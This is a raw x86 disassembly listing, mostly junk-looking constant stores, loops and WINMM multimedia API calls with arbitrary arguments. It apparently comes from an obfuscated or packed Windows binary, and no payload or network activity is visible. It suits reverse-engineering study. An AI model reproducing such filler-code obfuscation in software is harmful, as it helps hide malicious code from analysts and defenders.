mov dword [0x4176ec], esi
fxch st(3)
mov byte [0x41388d], 0x82
fst dword [0x414f20]
mov dword [0x415aa8], 0xfda9105d
mov dword [0x414638], 0x93088aac
fxch st(3)
mov dword [0x41463c], ebx
mov dword [0x416d28], 0xd09815bd
mov dword [0x416d2c], ebx
mov dword [0x413760], 0xa194a9ba
mov dword [0x413764], ebx
fxch st(2)
mov dword [0x4151a0], 0x6d8d01f2
fst dword [0x415b94]
mov dword [0x413d7c], 0xc5773b96
fxch st(1)
mov byte [0x41389a], 0xb4
fst dword [0x414f28]
mov eax, 0x5cc110a3
fxch st(1)
mov ecx, 0x91f98f06
mov dword [0x4170d0], 0xecd8f228
fxch st(2)
mov dword [0x4151c0], 0x4d43eb43
mov dword [0x4151c4], esi
dec dword [ebp - 4]
fst dword [0x414c18]
mov dword [0x416400], 0x7bad933
mov dword [0x416404], esi
mov dword [0x417224], 0xcd51c61d
jne 0x405c2a
fld dword [0x4103f8]
inc eax
fstp dword [0x413be4]
mov dword [0x4151a4], 0xa4a438df
mov dword [0x4165a8], 0x7436d260
mov dword [0x4165ac], esi
mov dword [0x414cf8], 0xf61d1bb
mov dword [0x414cfc], esi
mov dword [0x415168], 0xa0d9bc86
cmp eax, 0x4cc
jl 0x405c23
dec dword [ebp - 8]
fld dword [0x4103f4]
fstp dword [0x413cec]
mov ecx, 0x9fefabf7
fld dword [0x4103f0]
mov dword [0x4172fc], ecx
fstp dword [0x414f88]
mov dword [0x4176c4], 0x7999a915
mov dword [str.__nva], 0xbd71804f
mov dword [0x413014], ebx
mov dword [0x4159dc], 0xc98a24c8
jne 0x405c1e
fstp st(6)
movzx edx, byte [0x41389a]
fstp st(4)
push 0x415ba0
fstp st(2)
push edx
fstp st(1)
mov dword [0x413ddc], 0xa0b01cdb
fstp st(1)
fstp st(0)
fstp st(0)
fld dword [0x4103ec]
fstp dword [0x41389c]
fld dword [0x4103e8]
fstp dword [0x41728c]
fld dword [0x4103e4]
fstp dword [0x414e38]
fld dword [0x4103e0]
fstp dword [0x414c6c]
fld dword [0x4103dc]
fstp dword [0x413cb8]
call dword [sym.imp.WINMM.dll_PlaySoundA]
fld dword [0x4103d8]
add dword [0x4151c0], 1
fstp dword [0x414f20]
mov dword [0x4170f4], 0x6a82703d
fld dword [0x4103d4]
mov dword [0x4176d0], 0x9ba03c7f
adc dword [0x4151c4], esi
fstp dword [0x414fcc]
mov dword [0x4176d4], ebx
js 0x405b90
jg 0x405f35
cmp dword [0x4151c0], 0x423
jb 0x405b90
fld dword [0x4103d0]
mov ecx, dword [0x4172fc]
fstp dword [0x414f24]
mov dword [0x41529c], esi
fld dword [0x4103cc]
mov dword [0x413240], 0xb481af7d
fstp dword [0x414fd0]
mov dword [0x413244], ebx
fld dword [0x4103c8]
mov dword [0x415298], 0x5b39923d
fstp dword [0x415b94]
mov dword [0x417158], 0x2d9198e5
fld dword [0x4103c4]
mov dword [0x415b98], 0x89699e5f
fstp dword [0x414a08]
mov dword [0x415b9c], ebx
xor esi, esi
jmp 0x405b72
cmp dword [0x416214], 0xe4d08e61
jne 0x406594
cmp dword [0x414fd8], 0x1048e83b
jne 0x4064ec
cmp dword [0x414fdc], esi
jne 0x4064ec
mov edi, dword [sym.imp.WINMM.dll_waveInGetDevCapsW]
mov dword [0x41774c], esi
mov dword [0x417748], 0xcf
xor esi, esi
cmp dword [0x414ff8], 0x8c347c83
jne 0x40637a
cmp dword [0x416214], 0xab4a32cd
jne 0x406314
mov dword [0x413ba4], 5
lea ebx, [ebx]
mov dword [0x415b98], 0x99
mov dword [0x415b9c], 0
xor esi, esi
jmp 0x406040
cmp dword [0x4164e0], 0x41ff2b82
jne 0x40616a
cmp dword [0x4164e4], esi
jne 0x40616a
mov dword [0x41774c], esi
mov dword [0x417748], 0x2a
xor esi, esi
mov edi, edi
fld dword [0x4103c0]
mov eax, dword [0x4166c8]
mov edx, dword [0x4151c0]
fstp dword [0x414f98]
fld dword [0x4103bc]
push eax
push ecx
fstp dword [0x41616c]
fld dword [0x414fd4]
mov ecx, dword [0x4151c4]
fstp dword [esp]
push 0x4151c8
push 0x4138a0
push ecx
push edx
mov dword [0x416130], 0x50f585c9
mov dword [0x416134], esi
call edi
add dword [0x417748], 1
mov dword [0x414fe0], 0xc5544dcd
mov dword [0x414fe4], ebx
adc dword [0x41774c], esi
mov dword [0x416be0], 0x8d722696
mov dword [0x416be4], ebx
mov byte [0x415118], 0xd9
js 0x406070
jg 0x40610e
cmp dword [0x417748], 0x35c
jb 0x406070
fld dword [0x4103b8]
push 0x415ba0
fstp dword [0x413c08]
mov dword [0x414270], 0xbf994f68
mov dword [0x414274], ebx
mov byte [0x41389a], 0x6f
call dword [sym.imp.WINMM.dll_auxGetNumDevs]
fld dword [0x4103b4]
mov dword [0x416c04], esi
fstp dword [0x413c18]
mov dword [0x416c00], 0x2cf59a10
mov dword [0x416130], 0xeb4de599
mov dword [0x416134], ebx
xor esi, esi
mov eax, dword [0x4176c4]
fld dword [0x4103b0]
mov ecx, dword [0x416134]
fstp dword [0x4138f8]
mov edx, dword [0x416130]
fld dword [0x4103ac]
push 0x4137f8
fstp dword [0x414fa8]
fld dword [str.__UN]
push 0x415120
push eax
fstp dword [0x414e94]
push ecx
push edx
push 0x416178
mov dword [0x414880], 0x74dfc1da
mov dword [0x414884], esi
mov dword [0x413ba4], 0x178cf64d
mov byte [0x415118], 0x20
call dword [sym.imp.WINMM.dll_mmioFlush]
fld dword [0x4103a4]
add dword [0x415b98], 1
fstp dword [0x415bfc]
mov dword [0x416214], 0x7504501c
mov dword [0x417030], 0xd5a3281c
adc dword [0x415b9c], esi
mov dword [0x4176c4], 0x15d462bd
mov byte [0x413d95], 0xb
js 0x406040
jg 0x40622e
cmp dword [0x415b98], 0x473
jb 0x406040
fld dword [0x4103a0]
mov byte [0x413da6], 0xd8
fstp dword [0x415c24]
mov dword [0x416370], 0xb7b0bbef
fld dword [0x41039c]
mov dword [0x416374], ebx
fstp dword [0x41616c]
call dword [sym.imp.WINMM.dll_waveInGetPosition]
mov eax, dword [0x413ba4]
fld dword [0x410398]
fstp dword [0x41389c]
inc eax
fld dword [0x410394]
mov dword [0x415618], 0xb2ac33ae
fstp dword [0x41728c]
mov dword [0x41561c], ebx
mov dword [0x416214], 0xbedee2d2
mov dword [0x413ba4], eax
cmp eax, 0x105
jl 0x406020
fld dword [0x410390]
mov dword [0x4137dc], esi
fstp dword [0x41728c]
mov dword [0x4172fc], 0x90506af8
mov dword [0x417738], 0xcd2320ce
mov dword [0x41773c], ebx
mov byte [0x41389b], 0x11
mov dword [0x4137d8], 0x5a32f57f
mov dword [0x415a00], 0x96c8f2a6
mov dword [0x414fe0], 0x855d747a
mov dword [0x414fe4], ebx
mov dword [0x417748], 0xc4496cdb
mov dword [0x41774c], ebx
xor esi, esi
mov eax, dword [0x413d7c]
fld dword [0x41038c]
mov ecx, dword [0x4151c4]
fstp dword [0x413c3c]
mov edx, dword [0x4151c0]
push eax
push ecx
push edx
push 0x4137f8
push 0x4151c8
mov dword [0x417690], 0x71909b55
mov dword [str.hX_fO_f_], 0xf98b3dde
call dword [sym.imp.WINMM.dll_mmioAdvance]
fld dword [0x410388]
fstp dword [0x41389c]
mov dword [0x415198], 0x50d4eae8
fld dword [0x410384]
fstp dword [0x414fd4]
fld dword [0x410380]
push ecx
fstp dword [0x4151bc]
mov dword [0x416130], 0x6eadc969
fld dword [0x41037c]
mov dword [0x416134], esi
fstp dword [0x414eac]
mov dword [0x417748], 0xe0367fac
fld dword [0x410378]
mov dword [0x41774c], ebx
fstp dword [0x41397c]
mov dword [0x416170], 0x6738baaf
fld dword [0x4162a0]
mov dword [0x416174], esi
fstp dword [esp]
mov dword [0x416530], 0x51dbcb19
mov dword [0x416534], esi
call dword [sym.imp.WINMM.dll_mmioWrite]
fld dword [0x410374]
add dword [0x417748], 1
fstp dword [0x414fd0]
fld dword [0x410370]
mov byte [0x4161b9], 0xe1
fstp dword [0x415bbc]
mov dword [0x414fe0], 0x184935f3
adc dword [0x41774c], esi
mov dword [0x414fe4], esi
mov byte [0x41389a], 0x4b
mov dword [0x414fd8], 0xbc17ae63
mov dword [0x414fdc], ebx
mov byte [0x415119], 0x33
mov byte [0x416194], 0xeb
js 0x405ff0
jg 0x406467
cmp dword [0x417748], 0x48f
jb 0x405ff0
fld dword [0x41036c]
mov dword [0x416174], esi
fstp dword [0x414b74]
mov dword [0x4142e4], esi
fld dword [0x410368]
mov dword [0x414d7c], esi
fstp dword [0x413bf0]
mov byte [0x41614c], 0x12
fld dword [0x410364]
mov dword [0x416170], 0x79d6636f
fstp dword [0x414fcc]
mov dword [0x4142e0], 0x5bed94cd
fld dword [0x410360]
mov dword [0x4151c0], 0xd98094d8
fstp dword [0x414f4c]
mov dword [0x4151c4], ebx
fld dword [0x41035c]
mov dword [0x414d78], 0x5fa74688
fstp dword [0x414f24]
xor esi, esi
fld dword [0x410358]
mov dword [0x416130], 0xc6e469bd
fstp dword [0x4151bc]
mov dword [0x416134], ebx
fld dword [0x410354]
mov dword [0x415b90], 0x4ce64fa5
fstp dword [0x4162a0]
mov dword [0x417748], 0x13119fb0
fld dword [0x410350]
mov dword [0x41774c], esi
fstp dword [0x4162a4]
mov dword [0x413d7c], 0x657801f
fld dword [0x41034c]
mov byte [0x4161e1], 0x63
fstp dword [0x41389c]
mov byte [0x413836], 0x3b
fld dword [0x410348]
mov dword [0x414cb0], 0x436f1445
fstp dword [0x414f20]
mov dword [0x414cb4], esi
mov dword [0x4174d0], 0xa6ef5446
mov dword [0x414fd8], 0x19230264
mov dword [0x414fdc], esi
cmp dword [0x4137f0], 0xd35b7bd7
jne 0x406b3b
cmp dword [0x4137f4], ebx
jne 0x406b3b
mov dword [0x416214], 0xef
lea ebx, [ebx]
cmp dword [0x4176c4], 0xa8afc02a
jne 0x406a48
mov dword [0x413ba4], 0xc4
lea ebx, [ebx]
mov dword [0x416214], 0xcb
lea ebx, [ebx]
mov dword [0x417748], 0xc9
mov dword [0x41774c], 0
jmp 0x406610
mov edi, dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
mov dword [0x416210], 0xbf
xor esi, esi
jmp 0x406630
cmp dword [0x4172a8], 0x2a1312e8
jne 0x4067d6
mov dword [0x4151c0], 0xaa
mov dword [0x4151c4], esi
cmp dword [0x41708c], 0xeaace11f
jne 0x4066d2
movzx eax, byte [0x415118]
fld dword [0x410344]
mov ecx, dword [0x414fdc]
fstp dword [0x414f3c]
mov edx, dword [0x414fd8]
fld dword [0x410340]
push eax
fstp dword [0x415b94]
push ecx
push edx
mov dword [0x41716c], 0xfc5905b0
mov byte [0x41389a], 0x87
mov dword [0x415934], 0xb85526dc
mov dword [0x414cf0], 0xaa68b02c
mov dword [0x414cf4], ebx
call edi
mov byte [0x416164], 0xc0
mov dword [0x413680], 0xb87d4a27
mov dword [0x413684], ebx
fld dword [0x41033c]
add dword [0x4151c0], 1
fstp dword [0x414f6c]
mov dword [0x414de8], 0xe256e816
fld dword [0x410338]
mov dword [0x414dec], ebx
adc dword [0x4151c4], esi
fstp dword [0x414f20]
mov dword [0x4166cc], 0x8034197a
mov dword [0x413d7c], 0xaf594131
mov dword [0x417748], 0x73a00d4c
mov dword [0x41774c], esi
mov dword [0x416130], 0x83e0f93f
mov dword [0x416134], ebx
mov dword [0x414fe0], 0xdfdbdb83
mov dword [0x414fe4], ebx
mov dword [0x4172a8], 0x79b588ab
mov dword [0x414dd8], 0xf4be937f
mov dword [0x414ddc], ebx
mov dword [0x41720c], 0xf36c743a
js 0x406650
jg 0x406787
cmp dword [0x4151c0], 0x42b
jb 0x406650
fld dword [0x410334]
mov byte [0x41389a], 0x67
fstp dword [0x415b94]
mov dword [0x416130], 0x5e9b2d11
fld dword [0x410330]
mov dword [0x416134], esi
fstp dword [0x413a9c]
mov dword [0x4134e8], 0x615c2683
mov dword [0x4134ec], esi
mov dword [0x414520], 0x9c443e22
mov dword [0x414524], ebx
movzx eax, byte [0x41389a]
fld dword [0x41032c]
push eax
fstp dword [0x414f20]
push 0x413de0
push 0x4137f8
push 0x417290
mov dword [0x416040], 0xcbe3da46
mov dword [0x416044], ebx
mov dword [0x417164], 0x4f8e9cf6
call dword [sym.imp.WINMM.dll_midiOutUnprepareHeader]
mov eax, dword [0x416210]
inc eax
mov byte [0x413ddb], 0x3b
mov dword [0x413068], 0x14f985d6
mov dword [0x41306c], esi
mov dword [0x4172a4], 0xf7ab8337
mov dword [0x416210], eax
cmp eax, 0x354
jl 0x406630
fld dword [0x410328]
push ecx
fstp dword [0x414f6c]
mov dword [0x413ba4], 0x36538361
fld dword [0x414fd0]
mov dword [0x413d7c], 0x92f64687
fstp dword [esp]
push eax
mov dword [0x4172c0], 0x29acac74
call dword [sym.imp.WINMM.dll_mmioSetInfo]
fld dword [0x410324]
add dword [0x417748], 1
fstp dword [0x415bc4]
mov dword [0x414748], 0xcd8b14a
mov dword [0x41474c], esi
adc dword [0x41774c], esi
mov dword [0x4172fc], 0x27555800
mov dword [0x4172b8], 0x35b78263
mov byte [0x413890], 0x29
js 0x406610
jg 0x4068e7
cmp dword [0x417748], 0x4a2
jb 0x406610
mov eax, dword [0x416214]
fld dword [0x410320]
inc eax
fstp dword [0x4151bc]
mov dword [0x417230], 0x3ce50dc3
mov dword [0x4150cc], 0xe3dce40c
mov dword [0x4142e0], 0xac05e8d5
mov dword [0x4142e4], ebx
mov dword [0x4176c4], 0x4f9a29a8
mov dword [0x416170], 0x60f7f0a6
mov dword [0x416174], esi
mov dword [0x416214], eax
cmp eax, 0x228
jl 0x4065f0
mov eax, dword [0x413ba4]
fld dword [0x41031c]
fstp dword [0x414f24]
inc eax
fld dword [0x410318]
mov dword [0x415b90], 0x19fd9d23
fstp dword [0x4151bc]
mov dword [0x4151c0], 0x4433aa8
mov dword [0x4151c4], esi
mov dword [0x413ddc], 0x7364c60
mov dword [0x4172fc], 0x7c50b8e1
mov byte [0x415118], 0x13
mov dword [0x41737c], 0xbef48208
mov dword [0x4160d8], 0x4c2c8651
mov dword [0x4160dc], esi
mov byte [0x4161fd], 0xe9
mov dword [0x413ba4], eax
cmp eax, 0x2fd
jl 0x4065e0
mov ecx, dword [0x415b9c]
mov edx, dword [0x415b98]
push 0x416178
push ecx
push edx
push 0x415ba0
mov dword [0x416310], 0x8435d1e2
mov dword [0x416314], ebx
mov dword [0x414fe0], 0x1b0b4c54
mov dword [0x414fe4], esi
mov dword [0x417158], 0x1705a77
mov byte [0x413ddb], 0x53
mov dword [0x413d7c], 0xf0041619
mov dword [0x4151c0], 0x6dcf567a
mov dword [0x4151c4], esi
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
mov dword [0x413ba4], 0xf773b33c
mov dword [0x4166cc], 0x698b918
push 0x413de0
mov dword [0x4176c4], 0x2501466d
mov byte [0x413ddb], 0x8f
mov dword [0x415b90], 0x9d305d74
call dword [sym.imp.WINMM.dll_mixerGetDevCapsA]
fld dword [0x410314]
mov eax, dword [0x416214]
fstp dword [0x414e28]
fld dword [0x410310]
inc eax
fstp dword [0x4162a0]
xor ecx, ecx
fld dword [0x41030c]
mov dword [0x414720], 0xe1686edd
fstp dword [0x41396c]
mov dword [0x414724], ebx
mov dword [0x413110], 0x1bf3ddfa
mov dword [0x413114], ecx
mov byte [0x41389a], 0x2c
mov dword [0x415b90], 0xeb5e6a88
mov dword [0x416214], eax
cmp eax, 0x42a
jl 0x4065c0
fld dword [0x410308]
mov dword [0x4143e0], 0xb3d679cb
fstp dword [0x414f20]
mov dword [0x4143e4], ebx
fld dword [0x410304]
mov dword [0x4137e8], 0x684a0bba
fstp dword [0x414f24]
mov dword [0x4137ec], ecx
call dword [sym.imp.WINMM.dll_midiOutCacheDrumPatches]
fld dword [0x410300]
fstp dword [0x413d54]
mov dword [0x4166cc], 0x9f434308
mov dword [0x4176c4], 0xfc64c76
xor esi, esi
cmp dword [0x417700], 0xf2ca4c8c
jne 0x4070de
cmp dword [0x417704], ebx
jne 0x4070de
cmp dword [0x414ca0], 0xeb4aac04
jne 0x407072
cmp dword [0x414ca4], ebx
jne 0x407072
mov edi, dword [sym.imp.WINMM.dll_waveInMessage]
mov ecx, dword [0x416134]
mov edx, dword [0x416130]
mov dword [0x416210], 0x23
xor esi, esi
jmp 0x406ba0
cmp dword [0x415184], 0x14256ce3
jne 0x406f78
cmp edx, 0xe4ac5749
jne 0x406f28
cmp ecx, ebx
jne 0x406f28
cmp dword [0x415050], 0xfa79822a
jne 0x406eaa
mov eax, dword [0x413ddc]
mov dword [0x414fdc], esi
mov dword [0x414fd8], 0x13
xor esi, esi
jmp 0x406bf0
cmp eax, 0xc71ef0f5
jne 0x406da1
cmp dword [0x4167c8], 0x3bbdf82e
jne 0x406c6c
cmp dword [0x4167cc], esi
jne 0x406c6c
fld dword [0x4102fc]
mov dword [0x415b90], 0x31f0670
fstp dword [0x414f60]
mov byte [0x41389b], 0x7c
fld dword [0x4102f8]
mov dword [0x414fe0], 0x1b0da19c
fstp dword [0x4151bc]
mov dword [0x414fe4], esi
fld dword [0x4102f4]
mov dword [str.8k_f_], 0x15fba9b3
fstp dword [0x4162a0]
mov dword [0x41581c], esi
fld dword [0x4102f0]
movzx eax, byte [0x415119]
fstp dword [0x413964]
push 0x414fe8
fld dword [0x4102ec]
push eax
fstp dword [0x41389c]
push 0x416178
fld dword [0x4102e8]
mov dword [0x416170], 0x81d4eafd
fstp dword [0x414fd0]
mov dword [0x416174], ebx
fld dword [0x4102e4]
mov dword [0x414fd8], 0x91492a7e
fstp dword [0x415c0c]
mov dword [0x414fdc], ebx
fld dword [0x4102e0]
mov dword [0x4172b4], 0xf54fffce
fstp dword [0x414fbc]
mov dword [0x416228], 0x449b76b5
mov dword [0x413ba4], 0xb895b26
mov byte [0x4161b3], 0x59
mov dword [0x416928], 0xb607fd8a
mov dword [0x41692c], ebx
mov dword [0x417748], 0x3c4862fb
mov dword [0x41774c], esi
mov dword [0x413fd8], 0xa3451934
mov dword [0x413fdc], ebx
mov dword [0x416330], 0x3dfb9bc
mov dword [0x416334], esi
mov dword [0x4176c4], 0x935ead04
call edi
mov dword [0x41624c], 0x2b95cfb1
fld dword [0x4102dc]
mov dword [0x415cc0], 0xb1c99cab
fstp dword [0x413ad8]
mov dword [0x415cc4], ebx
mov dword [0x416960], 0xec038adf
mov dword [0x416964], ebx
mov dword [0x417710], 0xa811ded0
mov dword [0x417714], ebx
mov dword [0x4142e0], 0xc04b3061
mov dword [0x4142e4], ebx
mov ecx, dword [0x4176c4]
fld dword [0x4102d8]
push 0x417300
fstp dword [0x414fd0]
push ecx
mov dword [0x4176e8], 0xaed83445
mov dword [0x4176ec], ebx
mov dword [0x416170], 0x88989736
mov dword [0x416174], ebx
call dword [sym.imp.WINMM.dll_midiInGetID]
fld dword [0x4102d4]
add dword [0x414fd8], 1
fstp dword [0x414f88]
fld dword [0x4102d0]
mov eax, 0x7e690ce9
fstp dword [0x415b94]
mov dword [0x4151d8], 0xd3d62e8a
adc dword [0x414fdc], esi
mov dword [0x4151dc], ebx
mov byte [0x413d89], 0x35
mov dword [0x413ddc], eax
js 0x406bf0
jg 0x406e3d
cmp dword [0x414fd8], 0x3f1
jb 0x406bf0
mov dword [0x4150a0], 0xa80653f5
mov dword [0x4166c8], 0x68b211
mov byte [0x413831], 0xd5
mov dword [0x4170e8], 0xff64d80
mov dword [0x4142e0], 0xc0c764a9
mov dword [0x4142e4], ebx
mov dword [0x416210], 0xf9cb7a6d
mov byte [0x413dab], 0xac
call dword [sym.imp.WINMM.dll_mmioInstallIOProcW]
fld dword [0x4102cc]
fstp dword [0x414fcc]
mov byte [0x413d87], 0x54
fld dword [0x4102c8]
xor esi, esi
fstp dword [0x414fd4]
mov edx, dword [0x4166c8]
fld dword [0x4102c4]
fstp dword [0x41616c]
push edx
fld dword [0x4102c0]
push 0x4162a8
fstp dword [0x415bb0]
mov dword [0x416170], 0xabdc9944
mov dword [0x416174], ebx
mov dword [0x416130], 0xcd5599c1
mov dword [0x416134], ebx
call dword [sym.imp.WINMM.dll_mixerClose]
fld dword [0x4102bc]
fstp dword [0x41389c]
mov dword [0x416b70], 0x35f93bcc
fld dword [0x4102b8]
mov dword [0x416b74], esi
fstp dword [0x415b94]
fld dword [0x4102b4]
fstp dword [0x414a34]
mov dword [0x41768c], 0x87b6fe74
mov dword [0x416338], 0x21b25d9c
mov dword [0x41633c], esi
mov dword [0x4172fc], 0xd4820168
call dword [sym.imp.WINMM.dll_midiInStart]
fld dword [0x4102b0]
fstp dword [0x413a68]
mov byte [0x415118], 0x9d
fld dword [0x4102ac]
mov byte [0x41389a], 0xe4
fstp dword [0x4151bc]
fld dword [0x4102a8]
push 0xcbe1b27b
fstp dword [0x414fd0]
push 0x4137c8
fld dword [0x4102a4]
mov dword [0x415b90], 0xcbe1b27b
fstp dword [0x41616c]
mov byte [0x413ddb], 5
fld dword [0x4102a0]
mov dword [0x414fd8], 0xe0297839
fstp dword [0x414f0c]
mov dword [0x414fdc], ebx
call dword [sym.imp.WINMM.dll_midiInGetErrorTextW]
fld dword [0x41029c]
mov eax, dword [0x416210]
fstp dword [0x41389c]
inc eax
mov edx, 0xc1e9cc88
mov ecx, ebx
mov dword [0x416130], edx
mov dword [0x416134], ecx
mov dword [0x416210], eax
cmp eax, 0x4c3
jl 0x406ba0
fld dword [0x410298]
mov dword [0x416d54], esi
fstp dword [0x414f20]
mov dword [0x416d50], 0x75a6f54e
fld dword [0x410294]
mov dword [0x417748], 0xf1f69de3
fstp dword [0x41728c]
mov dword [0x41774c], ebx
mov dword [0x4175fc], 0x3fae9aa4
mov dword [0x417438], 0x87a08e93
mov byte [0x415118], 0x1c
mov dword [0x4166cc], 0x85d30c90
mov dword [0x417600], 0xd00eff82
mov byte [0x41389b], 0x70
xor esi, esi
fld dword [0x410290]
mov dword [0x4136a8], 0x53feedd5
fstp dword [0x414f24]
mov dword [0x4136ac], esi
fld dword [0x41028c]
mov dword [0x415124], 0xfc0f2014
fstp dword [0x414f34]
mov dword [0x416214], 0xfa1c7860
fld dword [0x410288]
fstp dword [0x414f50]
fld dword [0x410284]
fstp dword [0x41389c]
fld dword [0x410280]
fstp dword [0x415bb4]
fld dword [0x41027c]
fstp dword [0x413bf0]
cmp dword [0x4166cc], 0x5c08194f
jne 0x407381
cmp dword [0x41513c], 0xe47d8d7a
jne 0x4072aa
mov dword [0x413d7c], 0x15
mov edi, 0x29f27aa8
lea ecx, [ecx]
cmp dword [0x413f28], 0x3565573a
jne 0x4071c1
cmp dword [0x413f2c], esi
jne 0x4071c1
cmp dword [0x413f40], 0xcfc5aead
jne 0x407144
cmp dword [0x413f44], ebx
je 0x40738a
mov eax, dword [0x415b9c]
fld dword [0x410278]
mov ecx, dword [0x415b98]
fstp dword [0x41395c]
movzx edx, byte [0x413ddb]
fld dword [0x410274]
push eax
fstp dword [0x414f20]
push ecx
push edx
mov dword [0x416130], 0x119e469c
mov dword [0x416134], esi
mov dword [0x417280], 0xe1d8cc5e
call dword [sym.imp.WINMM.dll_midiOutUnprepareHeader]
mov dword [0x417008], 0xe35ca566
fld dword [0x410270]
mov dword [0x413f20], 0x51fa7754
fstp dword [0x414f20]
mov dword [0x413f24], esi
mov dword [0x4166cc], 0xe78b0f6
fld dword [0x41026c]
mov eax, dword [0x413d7c]
fstp dword [0x414f4c]
inc eax
fld dword [0x410268]
mov byte [0x41389a], 0x8b
fstp dword [0x414fbc]
mov dword [0x4170bc], 0x87f9449e
fld dword [0x410264]
mov dword [0x416294], 0x6dbef34d
fstp dword [0x414fd4]
mov byte [0x415119], 0xec
mov dword [0x415148], 0x8d436553
mov dword [0x413ddc], 0x7dca02af
mov dword [0x415038], 0x83d4a321
mov dword [0x413338], 0xd6067315
mov dword [0x41333c], ebx
mov dword [0x4159c0], edi
mov dword [0x413d7c], eax
cmp eax, 0x249
jl 0x407110
fld dword [0x410260]
mov dword [0x4176c4], 0xbf653985
fstp dword [0x4151bc]
mov dword [0x416170], 0x37ca69de
fld dword [0x41025c]
mov dword [0x416174], esi
fstp dword [0x414fd4]
mov byte [0x41389a], 0x11
mov dword [0x4137c8], 0xa67e0033
mov dword [0x4137cc], ebx
mov dword [0x416430], 0xf036ab3f
mov dword [0x416434], ebx
mov eax, dword [0x4151c4]
fld dword [0x410258]
mov ecx, dword [0x4151c0]
fstp dword [0x414f20]
mov edx, dword [0x414fdc]
push eax
mov eax, dword [0x414fd8]
push ecx
mov ecx, dword [0x41774c]
push edx
mov edx, dword [0x417748]
push eax
mov eax, dword [0x413ddc]
push ecx
push edx
push eax
mov dword [0x413fc0], 0x5cc196d6
mov dword [0x413fc4], esi
mov byte [0x415119], 0x67
mov dword [0x415168], 0x64577424
mov dword [0x416214], 0x27d9dba2
call dword [sym.imp.WINMM.dll_auxSetVolume]
fld dword [0x410254]
fstp dword [0x4162a0]
mov dword [0x415b98], 0x4abc5b8c
fld dword [0x410250]
mov dword [0x415b9c], esi
fstp dword [0x41616c]
mov dword [0x416214], 0xe25facc5
mov dword [0x413ddc], 0x46cd2ea2
mov dword [0x414fd8], 0x3a7fec9a
mov dword [0x414fdc], esi
mov dword [0x4151c0], 0x7c3c77fb
mov dword [0x4151c4], esi
mov dword [0x417748], 0x709228df
mov dword [0x41774c], esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov edi, dword [sym.imp.WINMM.dll_waveInPrepareHeader]
mov dword [0x416170], 0xde
mov dword [0x416174], esi
mov dword [0x4166c8], 0x97
lea ebx, [ebx]
cmp dword [0x4162c8], 0xe4b3d948
jne 0x4074cd
cmp dword [0x4162cc], ebx
jne 0x4074cd
cmp dword [0x415b64], 0x451c0264
jne 0x407462
movzx eax, byte [0x413ddb]
fld dword [0x41024c]
push eax
fstp dword [0x414b10]
mov dword [0x4172fc], 0x236
mov dword [0x4151c0], 0xfc472bfd
mov dword [0x4151c4], ebx
mov dword [0x4176c4], 0x441c017d
mov dword [0x4137f0], 0x2dd5fb32
mov dword [0x4137f4], esi
mov dword [0x41625c], 0xc4d41abc
call edi
mov dword [0x4170fc], 0x388b8692
fld dword [0x410248]
mov dword [0x417748], 0xbb9ce6ab
fstp dword [0x414f74]
mov dword [0x41774c], ebx
fld dword [0x410244]
fstp dword [0x413d3c]
mov ecx, dword [0x413d7c]
fld dword [0x410240]
movzx edx, byte [0x41389a]
fstp dword [0x414fd0]
fld dword [0x41023c]
push ecx
push edx
fstp dword [0x41728c]
mov byte [0x413ddb], 0x34
mov dword [0x415934], 0xc8fcadc5
mov dword [0x417110], 0xd2c69c71
call dword [sym.imp.WINMM.dll_midiOutGetDevCapsW]
mov dword [0x415e78], 0x2ad57155
fld dword [0x410238]
mov dword [0x415e7c], esi
fstp dword [0x4151bc]
mov byte [0x41383c], 0x8e
fld dword [0x410234]
mov eax, dword [0x4166c8]
fstp dword [0x414e24]
inc eax
fld dword [0x410230]
mov dword [0x416214], 0x83f7698a
fstp dword [0x413ca8]
mov dword [0x414fd8], 0x5283bfb1
fld dword [0x41022c]
mov dword [0x414fdc], esi
fstp dword [0x414fd4]
mov byte [0x415119], 0x5b
fld dword [0x410228]
mov dword [0x416130], 0x7464895f
fstp dword [0x414fcc]
mov dword [0x416134], esi
fld dword [0x410224]
mov dword [0x416170], 0x13b69d74
fstp dword [0x41616c]
mov dword [0x416174], esi
fld dword [0x410220]
mov dword [0x415068], 0xbbb3a82f
fstp dword [0x413b74]
mov dword [0x416210], 0x4879d65e
mov dword [0x4166c8], eax
cmp eax, 0x245
jl 0x4073b0
fld dword [0x41728c]
push ecx
fstp dword [esp]
push 0x417008
push 0x4149b0
mov dword [0x4147b0], 0xa01dcf0
mov dword [0x4147b4], esi
mov dword [0x413ddc], 0x8a467017
call dword [sym.imp.WINMM.dll_mciSendCommandA]
fld dword [0x41021c]
fstp dword [0x414f20]
mov byte [0x416161], 0x27
fld dword [0x410218]
mov byte [0x41389b], 0xa
fstp dword [0x41728c]
mov dword [0x416170], 0x909e4886
mov dword [0x416174], ebx
jmp 0x4073a0